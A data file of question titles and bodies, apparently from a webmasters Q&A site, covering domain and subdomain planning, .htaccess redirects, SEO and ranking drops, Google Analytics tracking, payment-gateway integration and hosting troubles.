{"id":"32942","title":"Advice on planning domain names","text":"I am planning to have my own website and would like to ask some questions regarding about the organization (I don't know if this is the right term for it) of domain names. Let me give an example: If I have a domain named “ **www.joe.com** ” but is planning to have different websites or categories for my varied interests but would still retain the “joe” name on my domain, would it be better to have a sub-domain instead? Is that it? Is this what would turn out: www.joe.com = my main site bookworm.joe.com = a blog for my love of books travel.joe.com = a blog for my travel experience food.joe.com = a blog for my love of food and cuisine I also notice that there are other websites that are like this: (this is just an example, but you get the idea) www.personname.com = main site www.personname.com\/blog = a blog for his site ( is this a subdomain now) Everytime you go to the www.personname.com, you are then redirected to the www.personname.com\/blog address. Is it safe to say that the blog address is a sub-domain and for blogging only and then the www.personname.com is the main site? What is the difference of this approach compared to the first example I've given above? Cheers!"}
{"id":"19065","title":"How to embed an authorize.net payment gateway form into a single page website with one item for sale?","text":"My website sells one item. I am currently using the simple checkout button embedded on the website. Rather than having the button I would like the order form to be on the single page with a field for quantity. At first I imagined that there would be a simple form that I could embed however it looks like that I need a full integration into my website through the Advanced Integration Method (AIM) which is much more complicated then I wanted. I don't want integration into my website, can I do it without, and if I have to what is the cleanest and simplest way to do it?"}
{"id":"19067","title":"How to integrate authorize.net CIM and ARB","text":"I have created some customer profile id's and customer payment profile id's. What i want is to use existing customer payment profile id for ARB so that users don't have to type their credit card details again and again."}
{"id":"61068","title":"How can Cloudlfare speed up PHP\/MySQL?","text":"My dreamhost plan offers me to use cloudflare CDN to speed up my pages. My page uses PHP\/MySQL. I was wondering how this works, because everytime the page is loaded it must execute the PHP code and the MySQL query anyways on the dreamhost servers, so cloudlfare can't speed it up, right?"}
{"id":"60882","title":"Why are subdomains important?","text":"I am a noob and am just wondering."}
{"id":"25356","title":"What can I do to increase my site's conversion rate?","text":"I have a UGC site where I get some people from search. Most of them just leave, but I want to learn what to do to increase their conversion into community members. Is there any free software available that helps with this? Also, what can I track in the user session that might be helpful to get an understanding for how to get poeple to stay on the site. Thanks! Here is an example of a page that people land on so its more clean what I am talking about: http:\/\/www.problemio.com\/problems\/problem.php?problem_id=161"}
{"id":"64768","title":"Which is better for search engines, repeated phrases or different phrases with the same meaning?","text":"When I'm designing an ads website I have two options: 1. Let the advertiser to choose from some predefined lists to create the new ad. For Example: product list ( T-Shirt, Shorts, Suit, .....) Color list ( Black, Red, .....) 2. Let the advertiser to write his own descriptive content for the product. For Example: \"Amazing suit with a good price\" I like the first Scenario but which is better for search engine optimization [SEO], repeated phrases or different phrases with the same meaning? Note : assuming each page will contain one or more ads"}
{"id":"60889","title":"Migrating website to subfolder in another domain","text":"I've a old site : `site1.com` but I want to move it to a folder in another site: `site2.com`. So `site1.com\/about.htm` content should be accessible as `site2.com\/new\/about.htm`. Beyond doing a 301\/302 I think I'd need to add content of _robots.txt_ from `site1.com` into `site2.com`'s. Similarly `site1.com` sitemap URLs would need to be changed and should appear below `site2.com`'s. Is there a checklist for doing such migration?"}
{"id":"64760","title":"How does one redirect from one wordpress page to another via htaccess?","text":"I tried making the following change to my wordpress site to permanently redirect a common link to a new page. I could've -sworn- that this used to work. But it simply does not (at least in WP 3.9). I have had to resort to using a Redirect Plug-In. I'm wondering -why- it doesn't work and if there is a technique which -will- work. I'd prefer to continue to use .htaccess for simplicity. Below is the .htaccess file: # MY CHANGES Redirect 301 http:\/\/mysite.com\/gigs http:\/\/mysite.com\/booking\/ # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> Again, it works by using a redirect plug-in inside WP, but there must be a way to force the 'redirection' to occur -before- the URL is passed to the WP engine, right? How is the done?"}
{"id":"64761","title":"In my IP query, the response is \"SOA prisoner.\" What does this mean?","text":"what does \"SOA prisoner\" mean in the results of my IP query? Prisoner to what ?"}
{"id":"1066","title":"Is Google App Engine permitted for Commercial Use?","text":"I don't see anything that says commercial applications are **not** allowed but I also don't see anything that says they **are** allowed. Can anyone find anything definitive?"}
{"id":"19755","title":"My blogger site is disabled and marked as spam. How can I restore my blog?","text":"My blog url is `banners-bannerbuzz.blogspot.com` I have already \"clicked to Restore\", But no reply till now... When I clicked again this message was displayed: > Blogger's spam-prevention robots have detected that your blog has > characteristics of a spam blog. Since you are an actual person reading this, > your blog is probably not a spam blog. Automated spam detection is > inherently fuzzy and we sincerely apologise for this false positive. > > We received your unlock request on 15 March 2011. On behalf of the robots, > we apologise for locking your non-spam blog. Please be patient while we take > a look at your blog and verify that it is not spam. Can anyone suggest what can i do, i want my blog back, because it has a PageRank of 2, and gets 30,000 visits from it."}
{"id":"25684","title":"Any particular reason why FaceBook's Subscribe Button isn't showing?","text":"I got this FaceBook profile for my upcoming website and I can't get the Subscribe button to show, NOT EVEN ON FaceBook's page! http:\/\/www.facebook.com\/profile.php?id=100003492130845 Now, if you go here on FaceBook's page where we build the Subscribe button: http:\/\/developers.facebook.com\/docs\/reference\/plugins\/subscribe\/ And add the above link, it will show nothing."}
{"id":"14943","title":"Best Domain Redirect Approach for Large Network","text":"We are launching a new network and want to focus\/funnel users to our top sites. We have hundreds of domains, but most of them don't really merit their own development (many were bought for brand protection), and would ideally redirect to one of the top sites, which there are only a handful of (20ish) For example, we have a food category. Our main site in this category is something like FoodSite.com. We have dozens of smaller subcategories that fit into the food category. Like BakingSite.com, PastrySite.com, SnackFoodSite.com and so forth. If we 301 redirect PastrySite.com, BakingSite.com, and dozens of other ones to the main portal, FoodSite.com, are we making a terrible SEO mistake? We know people who go to PastrySite.com will be interested in FoodSite.com (and have relevant, quality content there for them), but PastrySite.com does not merit its own page at this time. What would be the best approach to this in regards to SEO? Everything i'm reading tells me 301 redirect, but I've never seen the topic discussed at such a large scaled (hundreds of sub-categories pointing to 20ish strong umbrella sites with quality content). Any points would be greatly appreciated!"}
{"id":"36287","title":"How do I run something from the command line on shared hosting?","text":"I have shared hosting and they haven't given me command line (or ssh or shell) access. Is there a way that I can run something from the command line?"}
{"id":"51199","title":"Site blocked in some networks or by some ISPs","text":"I'm an not an expert webmaster. The thing is I setup my website (http:\/\/meemo.com.co) in a Virtual Private Server, in a CentOS installation. My website has been blocked by some company networks and some ISPs in the country, as I have been informed by some customers. My website doesn't even appear in Google results, even if it's been up for more than a year. What can be causing the blocking of my website? I've tried to look in black lists to no avail. thank you!!!"}
{"id":"32813","title":"Ceiling for search with Google","text":"I use Google Webmaster tools to follow my website and I'm confused about search stats. For several months, the curve about search requests reached the limit on 3000 search by day. The curve never goes over 3000 search by day. Does Google limits request per day for a small website? Can Webmaster Tools not show more than 3000 requests per day?"}
{"id":"23970","title":"Is there any other CDN than Amazon which supports hadoop?","text":"I need know about CDN which offers to store HDFS . I know amazon offers such service but i am looking out if some others are giving some better service , additional features or cheaper service. Please suggest me some options ."}
{"id":"23971","title":"Got PHP; Need Designer; How Good is this approach","text":"So I was free for a couple of weeks and hence I wrote the php script for a website that I had in mind. To be honest; I am not the best; I am just an amateur; I have read a couple of books (o'reilly) and that is all i know about php. Now my website so far looks nothing but a few links and their working. I am thinking of giving it to someone who have some experience in designing and all. How good is this approach towards launching a website. I had this idea about the website, and wanted to do it on my own, but as already stated i am not the best at it. I dont have any long term plans for the website; I might go for an experienced programmer later; but at the moment; all i want is to have the feel of start-up if you'll call it the same. Am I going in the right direction; by doing the php coding on my own; and now looking for a designer? Any suggestions. P.S. Shall i post this question on `Onstartup`? Edits: The website will be like an online competition that will last for 8-10 months, it will not store any personal information of the people associated with it."}
{"id":"61690","title":"I am taking ownership of a website. Do I need to take ownership on the domain name first, and then transfer the website to the new host?","text":"I am going to be rebuilding a new website for a new client. There current site is at a different host and registar. I want to transfer ownership. Which one do I do first? Domain name to new registar or website to new host?"}
{"id":"23977","title":"Unable to add a domain (purchased from godaddy.com) to the dreamhost account","text":"My client just purchased a domain from `godaddy.com` and I'm trying to add it as a new domain on their dreamhost account. But it is unable to be added. It simply doesn't work and doesn't even show any kind of error message. What may be the issue and how can I resolve this?"}
{"id":"27268","title":"Apache HTTP redirect from a URL list","text":"One of my web applications will be completely replaced by a new system. All URLs will change and thus external links would break. I want to setup Apache httpd to answer with proper 301-redirects to the new URLs. Now the catch: There is no formula\/regex to derive the new URL from the old, so I need to maintain a mapping list. Ideally I'd like to have it in a location\/position where an app I will write allows the content owners to add\/edit the mappings themselves. How would I do that?"}
{"id":"27263","title":"Google crawl errors \"DNS issue- link unreachable and time out errors","text":"Can any one tell me why Googlebot cant fetch my website and its links? I have a website and for past 30 days Google Webmasters can't fetch any links from my website. This caused the removal of my website from Google search. I also tried \"fetch as Googlebot\" option but it failed. The error it's showing is \" **DNS issue** -Links **unreachable** and **Time out** error\". I also have Google Analytics and Bing Webmasters Tools accounts which work fine (Bing crawls and fetches links from my website). I can access my website through browsers also. I have searched other forums and found out that it may be my hosting providers blocking Googlebot. When I wrote to them they told me that they have allowed Googlebot to my website. Now I have become a little frustrated about this problem. I really don't know why this error is occurring. I cant even add Google AdSense because of this problem. If anyone has or had this kind of error can they suggest what causing it?"}
{"id":"61282","title":"If I change or remove the same URL from a site is it a bad impressions for Google or Google Webmaster","text":"I am having an issue, before I make one page like this: appna.php?ty=Skype Id is Coming Soon But now I have to remove that page and link. In the Webmaster Tool it's still showing that page with an error. I'm confused on what I can I do? If I change the domain is it a good impressions for Google? And I'm changing web content like 2 or 3 times is it also good or bad impressions for Google?"}
{"id":"27267","title":"Goals are not registering in Google Analytics","text":"I've had a site online for a few weeks, and Google Analytics is working fine. Except Goals, which are not registering for some strange reason. To be clear: visits to the site are being registered, but no goals are being registered. This is not correct, as people are visiting the goal pages. I've set up two pages specifically to test this, Funnel Page and Goal Page. (You can visit these, but please do not visit any other pages on the site, as I am performing an experiment and SO referrals would taint results). Below is a screenshot of `Profiles > Goals` on Analytics.  Can you see any obvious mistakes I have made? I think I must have missed something really obvious, as this is my first time using Analytics, but I must get this fixed ASAP. It's driving me crazy."}
{"id":"2280","title":"How to pre-load images used only on hover?","text":"I have a link that starts with one background image and then changes on hover to another. Both background images are set in the CSS. My browsers (any of them) don't seem to load the hover image until you actually hover. But then you end up with a blank image for the several seconds (on my very slow connection) it takes to load the new one. Is there a way to encourage the browser to pre-load the hover image so that delay time doesn't occur on hover?"}
{"id":"60082","title":"Why does Facebook provide fbadmins meta tag that results in an error in facebook debugger","text":"I log in as my \"page\" and then go to https:\/\/www.facebook.com\/insights\/ I click \"Insights for your website\", and a dialog box pops up saying this: > Add a meta tag to your webpage Gain access to insights for your website by > adding an fb:admins or fb:app_id meta tag to your root webpage, linking it > to your personal account or an application. and it provides a meta tag in this format, with a 15-digit `content` attribute value: <meta property=\"fb:admins\" content=\"123456789012345\" \/> I copy and paste that inside my `<head><\/head>` tags, enter my web address into the dialog box I just described and submit it, and get this error: > Bad request No admin data found at root webpage http:\/\/example.com\/. > Insights requires admin data at this root webpage for the specified URL > example.com (Of course, I used my real web address, not \"example.com\") I found facebook's site debugging tool here. And when I run my url through it, it gives me this error: > Errors that must be fixed Object Invalid Value Object at URL > 'http:\/\/example.com\/' of type 'website' is invalid because the given value > '123456789012345' for property 'fb:admins' could not be parsed as type > 'fbid'. After that, I tried changing fb:admins to fb:app_id in the meta tag and that did not fix the problem either. So, why is facebook telling me to use that code if it's not the right code?"}
{"id":"60087","title":"GA Source\/Medium\/Campaign for QR or typos","text":"I'm doing an experiment for a realtor with a single property sites (e.g. 123address.com) and we want to track the various traffic sources but confused on the GA terminology 1. agentsite.com featured properties page 2. agentsite.com normal search results 3. syndicated MLS data, this could appear on any domain that shows the 'virtual tour url' 4. QR Code on the FOR SALE sign in yard 5. typo redirect (it's a funny street name so we got a typo domain 123addresss.com) I'm looking at this and wondering what I should enter https:\/\/support.google.com\/analytics\/answer\/1033867?hl=en[1] I know the agentsite.com should look like: 1. Source: agentsite.com Medium: featured_properties 2. Source: agentsite.com Medium: search_results 3. Source: MLS Medium: virtual_tour 4. Source: qrcode Medium: ??? 5. Source: 123addrez.com Medium: redirect? I'm struggling with QR Code and typo redirect..QR code for example, **I assume the Source would be \"qrcode\" but what would Medium be?** the same? Does it matter? Finally as I'm a total noob, **should \"Campaign Name\" be the same for all of the above?** \"123 Address Sale\""}
{"id":"60084","title":"Is social media engagement of a webmaster a good idea?","text":"I have been participating in some political discussions on youtube and google plus and as much as I try to refrain from it, some of them turn into heated ones after a while. I maintain a lot of GWT accounts from this gmail email and I have often wondered if this engagement might affect any of my clients' (shared gwt access) or my own (owner) Search Engine rankings given the fact that Google has the capability of putting these two together."}
{"id":"19681","title":"List Posts and SEO","text":"I was checking list posts on sites like freelance folder and found that they link to external and internal articles weekly. You can check freelanceswitch site for example of their weekly linkswitch post. So my point is - * too many link posts have any bad impact on site ? * How google or any other search engine measures the value of such posts? * Also how value of link is passed ? * or all values to links in the posts are passed equally ?"}
{"id":"4546","title":"How to write content that uses keyword terms which are google stop words","text":"The keywords for our site comprises of words which are google stop words namely: thank you Is it better to write this as: thank-you or thankyou or does it make any difference?"}
{"id":"51998","title":"Can preventing directory listings in WordPress upload folders cause Google ranking drops when they cause 403 errors in Webmaster Tools?","text":"I recently moved to a new host that blocks crawling to my uploads folders but (hopefully) allows the files in the folder to be crawled. I now show many 403 errors for each folder in the uploads folder in my Webmaster Tools. For example, http:\/\/www.rewardcharts4kids.com\/wp- content\/uploads\/2013\/07\/ shows a 403 error. For example, I can access this file: http:\/\/www.rewardcharts4kids.com\/wp- content\/uploads\/2013\/07\/lunch-box-notes.jpg but I cannot access the folder it is in. My rankings went down after I moved to this host and I am wondering if: 1. this could be the reason. 2. is this how files\/folders are supposed to be set up?"}
{"id":"42431","title":"Comparison of phrases containing the same word in Google Trends","text":"If I compare three phrases in google trends : * house * sale house * white house I get the following numbers: * house -> 91 * sale house -> 3 * white house -> 2 The question is: Is \"sale house\" and \"white house\" already included in the number 91? It is an important question, because if it is true, than: * house_except_sale_house + sale_house = 91 * sale_house = 3 Which means I have to compare 88 and 3, if I compare \"house\" and \"sale house\""}
{"id":"52317","title":"Form validation - security and input specification","text":"So I'm working on a register form and I have four fields: name, username, email and password. I pick up the values of these fields in jQuery and depending on if all the fields are filled, I pass them onto a PHP script via ajax. Is that safe for form validations? I was worried about data getting manipulated by the user. Further on in the PHP script, I check if all the posted values have data in them, only then will I proceed onto doing some validations. The validations are the parts where I'm worried that it's not the best and there are many flaws with it. $name = $_POST['name']; $username = $_POST['username']; $email = $_POST['email']; $password = $_POST['password']; if (!preg_match(\"\/^[A-Za-z '-]+$\/i\", $name)) { $errors = \"Please enter a valid name.\"; } else if (!preg_match(\"\/^[A-Za-z]+\\s[A-Za-z]+$\/\", $name)) { $errors = \"Please enter your first and last name.\"; } else if (strlen($username) <= 3 || strlen($username) > 15) { $errors = \"Please pick a username between 4 - 15 characters. Be creative.\"; } else if (!preg_match(\"\/^[A-Za-z][A-Za-z0-9_.-]{4,15}$\/\", $username)) { $errors = \"Please pick an alphanumeric username between 4 - 15 characters.\"; } else if (filter_var($email, FILTER_VALIDATE_EMAIL) === false) { $errors = \"Please enter a valid email.\"; } else if (strlen($username )< 6 || strlen($username) > 32) { $errors = \"Your password must atleast be 6 characters.\"; } else { echo \"valid\"; } Are these validation steps secure? Are there any loop holes that the user can manipulate the data? The requirements for the fields are as follows - which I'm not so sure I hit on the head with my code: * The username should have alphanumeric characters with underscores (optional) * the name should have BOTH the first name and the last name"}
{"id":"17304","title":"How to make parameters look more attractive","text":"I'm making a blog site and instead of the users blogs being called \/blog?display= _username_ I would like it to just be a sub domain such as mysite.com\/ _username_ How would I be able to make the first URL look like the second URL?"}
{"id":"52315","title":"Google Analytics: Can I target utm_term in an Advanced Segment?","text":"I want to track clickthroughs from emails using tracking URLs (eg crafted at URL builder). I'm planning out the various terms to ensure that I have max flexibility in future, and can accommodate, and track different versions of the email (some crude AB testing). I have found that in the advanced segments panel: * Campaign maps to utm_campaign, * Source maps to utm_source, * Ad Content maps to utm_content, and * Medium maps to utm_medium **Can I target utm_term?** Is this likely to be useful, or am I overthinking this :) Tx for your consideration "}
{"id":"56348","title":"Remove query string from 301 redirect URL","text":"I'm having some trouble with redirects and I haven't been able to get this to work. I want to make `http:\/\/www.mysite.com\/seasonal\/christmas?p=15` redirect to `http:\/\/www.mysite.com\/holiday-decor\/christmas.html`. I was wondering if someone could help me with the rewrite rule so the query string doesn't appear in the redirected URL. I'm using _.htaccess_ with a Magento platform site."}
{"id":"17308","title":"Handling Pagination on WordPress?","text":"Few days ago Google came up with a post on URLs with parameters. The post can be found here: http:\/\/googlewebmastercentral.blogspot.com\/2011\/07\/improved- handling-of-urls-with.html Now, my website uses WordPress blogging platform, and the blog post from Google is inclined towards the e-commerce sites. However, I was wondering if I should follow the pagination rule for my site to make sure duplicate content isn't picked up by the Google bots. My site has URLs for pages are like this: http:\/\/blogote.com\/page\/3\/ Should I be worried? Should I leave it as it is?"}
{"id":"9121","title":"when will google revert back page rank after i cleared network unrechable error","text":"1. For the past one month i was getting network unreachable error. 2. I contacted my web hosting and they said that google bots were blocked if it were causing more traffic. 3. And then they witelisted google bots. 4. Now the errors did not appear but my ranking and search results went down to more than 6 pages or they did not appear at all. 5. Now google is able to read my robots and sitemap. Just yesterday. when will search results and page rank gets to its previous positions? like it were before a month? Most links did not appear in google search result."}
{"id":"10659","title":"free lightweight mobile webmail","text":"I'm looking for a free lightweight mobile webmail. Something like squirrelmail but for mobile phones. roberto"}
{"id":"39857","title":"SEO impact of server errors","text":"Our website is up and running fine but a WordPress plugin is broken (we can't fix it very quickly) so a few hundred pages show server errors. The pages would load header and page of the page body but stop halfway and does not load sidebar\/ footer at all. These pages are not 404. My question is how big the impact of these servers errors are in terms on SEO and traffic. There are 500+ pages with server errors according to Google Webmaster while we have 14,860 index pages."}
{"id":"53040","title":"Can I have users share images from my site on Instagram?","text":"Is there a way for me to suggest that my users share the images from my website on Instagram? I've found share buttons for other sites like Facebook and Pinterest. I ask because a user was uploading screenshots from the website to Instagram and getting a fair amount of interest in it. I would like to make that process easier for users."}
{"id":"44188","title":"Why is ww35 used in some URLs?","text":"A question asked on my website here http:\/\/www.wrangle.in\/topic\/av5b5ymlhoyc\/what-is-the-difference-between-www- or-ww I want to give them answer but I didn't find anywhere on google. So I thought better asking it here."}
{"id":"16436","title":"Hacking resources","text":"I'm currently developing a web application which has a lot of javascript working behind it. Before I deploy it (which will take a couple of months), I want to make sure that it is atleast a bit secure in terms of attacks. I saw this link already but it doesn't have any resources that I could use to learn the 'art' of hacking. I don't want to exploit other sites, I just want to learn it to make my site safe."}
{"id":"61289","title":"configuring loadbalacing with nigix","text":"Hey guys i am trying to loadbalace my website with ngix..I have seen many tutorial and i have found one..According to tutorial i have seen that i need to add upstream myCloud{ server s1.domain.com;; server 10.0.1.2; server 10.0.1.3; } those lines to my configuration file ..so my question is that can i add a subdomain like something.domain.com to the server place ..Hope you guys can help me out"}
{"id":"7917","title":"How does the customer edit there own website once I have created it for them?","text":"I am relatively new to HTML and CSS programming, but in the future I'm Hoping to create websites for clients. How does the customer (who I suspect has no knowledge of HTML or CSS) edit there own website once I have created it for them? Will they have to rely on me to constantly update there website for them? or is there a program which the HTML and CSS code can be entered into which makes future editing possible without having to manually alter the code?"}
{"id":"10629","title":"Anyone know a way to find out the number of Twitter followers for a particular account on any given date?","text":"I manage two corporate Twitter accounts and two personal Twitter accounts, and it would be really useful to know how many followers each account has at the end of each week. I'm using TweetStats.com to gather statistics at the moment, but the follower stats functionality isn't granular enough to determine the precise number of followers. Does anyone know of any useful and free tools that can provide the exact number of followers for a specific Twitter account on any given date?"}
{"id":"6287","title":"I want to add adsense for my blog","text":"I made a blog few months back,I wanted to add adsense for it but yesterday I found out that the e-mail address I use is blacklisted by google adsense,I have applied for google adsense some years back but they replied back that the site did not had much content.Why would they blacklist my email address?Can I have a new adsense account?"}
{"id":"54460","title":"AdBlock users statistics","text":"**Are there statistics of internet users that use AdBlock or other ad blocking plug-ins?** Are there some statistical breakdown, for example, per country (I assume it must vary a lot)? I was unable to google the information I am looking for. The reason I am asking is because I have just signed up for the \"Amazon Partners\" program and see that this affiliate program is listed on the AdBlock blacklist."}
{"id":"182","title":"What are some good feeds\/blogs\/twitter accounts to follow if I want to learn more about web development?","text":"Who are some of the big names out there (besides Jeff Atwood\/@codinghorror, of course) that I should be following as a resource if I want to stay on top of what's new as well commentary on what exists? _**Please consider simply editing this question, rather than posting another answer if you have something to add that is not listed here. Additionally, feel free to add descriptions to items already listed._** Twitter accounts: * @codinghorror * @smashingmag * @shanselman * @scottgu * @haacked * @jquery * @jeresig * @slicknet * @paul_irish * @trentwalton * @sarajchipps Blogs: * Coding Horror * A List Apart * Fabulous Adventures in Coding * StackOverflow Blog * FriendlyBit * Fiftyfoureleven * Paul Irish Feeds: * Reddit Programming Feed * Y Combinator"}
{"id":"20830","title":"Good SEO information (NO MARKETING)","text":"Where can I find information on SEO without all the marketing crap? Googling always results in \"learn SEO fast!\" or \"buy our SEO training program\" I can never find something that is \"free\". I know much already but because I see no \"organization\" in SEO I cannot verify if what I know is everything (in IT that is almost never the case but you can get close); so is there at least a good book for SEO or something rather than marketers opinions? I'd like official information from Google, Yahoo\/Bing or a reputable book. But no website that is trying to sell me something (unless it's reputable for having information that I do _not_ have to buy). _SEO is not a trade secret is what I am trying to say..._"}
{"id":"26133","title":"Can a site recover by itself after dropping google page rank for 404 errors?","text":"Recently redid a website and changed the directory \/ URL structure. I did some .htaccess redirects for the main landing pages - however when reviewing web master tools received 404 errors for the rest of the changed URLs and noticed that Google dropped my site from the #1 position to around the 5th page. I corrected all the 404s by providing redirects in the .htaccess, resubmitted the site map and tested the google crawl bot. Will my page regain its rank by itself - or am I going to have to put some time into like I originally did?"}
{"id":"25994","title":"Should home page be just domain name or can it be in a folder?","text":"I am working on a website project and the client has requested (for reasons of hosting convenience) that the new website be located in a specific folder. This means that all pages will be in www.domain.com\/folder instead of just www.domain.com, and they will have a meta instant redirect on the default page for www.domain.com which will redirect to www.domain.com\/folder. I am wondering from a SEO perspective if this is a good idea? I believe that the meta instant refresh will be treated as a 301 (permanent) redirect by the important search engines so I presume that www.domain.com and www.domain.com\/folder will be treated as the same page, and also be considered the same page for link popularity too. Is this correct? Is there any arguments (preferably with some sort of proof I can give them) that I can use to argue against them doing this?"}
{"id":"188","title":"CSS reduction for faster loading \/ less bandwidth","text":"Is compacting CSS \/ Removing unused rules for a specific page worthwhile in terms of bandwidth or can we rely on caching (headers\/last-modified) to remove this overhead in the wild? Cheers Also, good luck with the beta everyone!"}
{"id":"63284","title":"Google penalty recovery","text":"I have a site, which is a spiritual site and has nothing to do with commercial or business thing. It was in the first page with the keyword `RADHANATH SWAMI`. Then suddenly, in sep'13, the site went out from google search. When I checked my WebmasterTools, I saw that there were 40,000 backlinks from a site named http:\/\/freeguestbooks.net. But manual action section in WebmasterToolssaid \"No Manual webspam actions found\" and till date, it shows the same. Then I contacted the webmaster of freeguestbooks.net and requested him to remove the 40K odd backlinks and he very kindly removed it. The WebmasterTools now shows 21,777 backlinks from this site. But since 2 months, the decrease rate of these backlinks is very slow, almost zero. Again, I had contacted the webmaster of freeguestbooks.net and he confirmed that there are no backlinks pointing to his site. I am also told that my anchor text is over-optimised... Total backlinks to my site as per WebmasterTools is only 24,937 out of which 21,777 are the links from freeguestbooks.net as shown in WebmasterTools. Can you suggest a way out to get back into google?"}
{"id":"63287","title":"Allowing Google to index auto generated sub domains","text":"I have a web application where each new customer using the application has their own unique subdomain. This allows them to link to the products they create on our site. If my website is `www.example.com` then my customers get the domain `customer.example.com`. These subdomains are auto generated when the customer sets up their account. What can I do so that Google will index these subdomains?"}
{"id":"63280","title":"WordPress login broken when using WooCommerce and Theme My Login","text":"I am running WordPress with WooCommerce and Theme My Login plugins. When a user registers on my site it sends them a confirmation email and then they can click to activate account. Problem is when the user goes to login they get an error of incorrect password. If the user uses the forgot password link and resets the password then they can login without any errors. What might cause this problem? Is the password being encrypted with the wrong method? I went through the registration process and checked the string in the php users table. Password in php table after registration: $P$BF\/gIt6dFfBBuNx6rP41Qv3i71TUie1 Password in php table after change password to same password: $P$BxpByDbNU3vr3sytTOcbzttp1tOodH1 Do Theme My Login and either WooCommerce or WordPress use different encryption methods?"}
{"id":"53597","title":"Does internal link in-page placement (up-down) effect crawl likeness?","text":"I'm trying to encourage Google to crawl more of a specific dynamic section in my site which he's 'neglecting'. I have internal links from my more popular section to this section, but those are at the end of the page. Does the placement location (up-down) of such inner links make a difference when Google tries to focus his crawlers on the more important content?"}
{"id":"21303","title":"Lost permission for anyone to access my websites","text":"Yesterday I mysteriously lost the permission to remote desktop to my Windows 2008 server as Administrator. At the same time when trying to access my website I got a window up prompting me for a user name and password to view the website. Anyway, my hosting provider believe I've been hacked. Ok now, I have remote access, but what setting must I change in IIS to allow anyone to view the websites hosted on the server."}
{"id":"10620","title":"Facebook connect And Yahoo.. How and what exactly happened? Is there way to import facebook friend's email id?","text":"I have seen that yahoo now enables their users to import facebook friend's email addresses into their yahoo addressbook. As far as i know, facebook doesn't allow any API to fetch email addresses of any user on external websites. I have also seen that Yahoo imports email addresses only when the friend's have chosen not to display their contact email to themselves only. Many people in the world trying to implement applications using facebook's API to import email addresses of friend's (Only those email addresses which are visible on user's facebook profile) but API calls always return NULL to their requests. So i would like to know what exactly happened between facebook and yahoo? Does facebook have provided any concessions to Yahoo's addressbook importer application to import facebook user's email addresses? Is there any working API\/method\/way available to fetch email addresses of facebook friends who have chosen to display their contact email ids on their profile with 1: only visible to friends, 2: visible to everyone privacy settings? I have also seen that, facebook API page clearly listen that email\/contact_email field's can be fetched using FQL. Nevertheless there is no official explanation on this issue of returning NULL when email\/contact_email is requested from any API call. Regards"}
{"id":"21301","title":"Put files outside of directory, so none can access it (Apache, PHP, MySQL)","text":"I have a file structure like this: public\/admin public\/some folder includes\/ I set up a sub-domain `page.mysite.com` and I pointed the directory to be `mysite.com\/page\/public\/admin`. I thought that it would work ok, but it seems that it's not loading contents that are outside of admin (in this case target folder), so it can't see any files outsite admin. What could the problem be? P.S. I have a shared hosting, so I can access only Cpanel and FTP (just in case you know)."}
{"id":"46970","title":"Facebook likes Influence SEO ranking","text":"I have seen some data that shows strong correlation between number of Facebook shares and Google ranking position. It makes sense. But I am wondering how does Google know number of Facebook shares. Viewing my html page source doesn't show it because the number is printed with javascript. Do I need to make any other step or is enough to just put like button?"}
{"id":"49255","title":"SEO sitemap submission","text":"I always assumed SEO was simply a buzzword that meant \"using content that makes sense\". Obviously it gets a little bit more complicated than that, using realistic search terms in header tags and things, but that was a far as it got. I was speaking to someone today about this, and they said how there's a second aspect to web design. Submitting sitemaps to Google. A weekly sitemap submission to Google was a way to seriously boost rankings. Is this true, and how can this process be automated?"}
{"id":"44458","title":"Email sent via Google via relayhost being marked as spam","text":"Company email hosted by Google Apps. Company PBX in-house is Elastix. All voicemails received on the extensions of Elastix are supposed to be emailed by the CentOS server (Postfix) to the email address of the employee. Using relayhost on postfix, I am sending those emails through Google Apps (smtp.gmail.com), but some of these voicemail emails end up in the spam. Sending it through Google, and sending it to an email hosted by Google - yet there's spam. Email sent from the Google Apps interface - no complaints of it going to spam - just from the Elastix server. I've just asked our DNS domain guys to add spf records, but is that all that's needed? Some help please!"}
{"id":"46978","title":"301 redirect from \"\/index.html\" to root if index.html not exist","text":"Can I create 301 redirect from \"index.html\" to root directory if file \"index.html\" not exist? For example: link \"`http:\/\/example.com\/index.html`\" show \"404 Error\" page. I need 301 redirect to root directory: \"`http:\/\/example.com\/`\" in .htaccess I add rule: Options +FollowSymLinks RewriteCond %{THE_REQUEST} ^.*\/index.html RewriteRule ^(.*)index.html$ http:\/\/example.com\/$1 [R=301,L] but it doesn't work. Can you help me solve this problem?"}
{"id":"49701","title":"nofollow links on jQuery interaction","text":"Is it important to use `rel=\"nofollow\"` on jQuery interaction links? `<a href=\"#\" rel=\"nofollow\">jQuery interaction link<\/a>`"}
{"id":"63575","title":"Revamped Joomla site to Google search engine","text":"I am about to upload a revamped site of Joomla (update from 1.5 to 2.5 + changes). I currently have a test bed subdomain that I am currently working on. In few days I am about to do the swap and replace the old site with the new one. I am worrying about Search Engines and specifically Google. The site currently has a very good rank (appears 2nd in the search), what actions do I have to take in order to be updated and preserve the rank? (except submitting the new sitemap I guess). It's not a difficult task but because I don't have the option to be wrong or mistakes to be done I an asking for a more \"expert\" advice."}
{"id":"56965","title":"Can a website require search engine robots to support cookies?","text":"Sometimes I pretend to be a search engine robot to get access to \"subscriber only\" web pages, or just to get a plain and simple view of a page that isn't cluttered with moving animations and other irrelevant crap. Lately I have noticed that some web sites require cookies to be turned on, even if you are a bot. What is the purpose of this? Why would a search engine robot need to accept cookies? Or is this just because the guy who designed the web site screwed up?"}
{"id":"10623","title":"Using Pragma header on HTTP 1.1","text":"would like know your opinion about using Pragma header when script is called in HTTP version 1.1 I don't know is good to return both Pragma and Cache-Control or rather return only Cache-Control and at HTTP 1.0 return only Pragma ???"}
{"id":"22968","title":"How to edit the pages on your domain on Godaddy?","text":"I bought a domain from godaddy.com and I was wondering how to I edit the information on the webpage? Like html FTP and such. And sorry if this isn't on the correct stack website, but this seems like it would be the best to post this question on."}
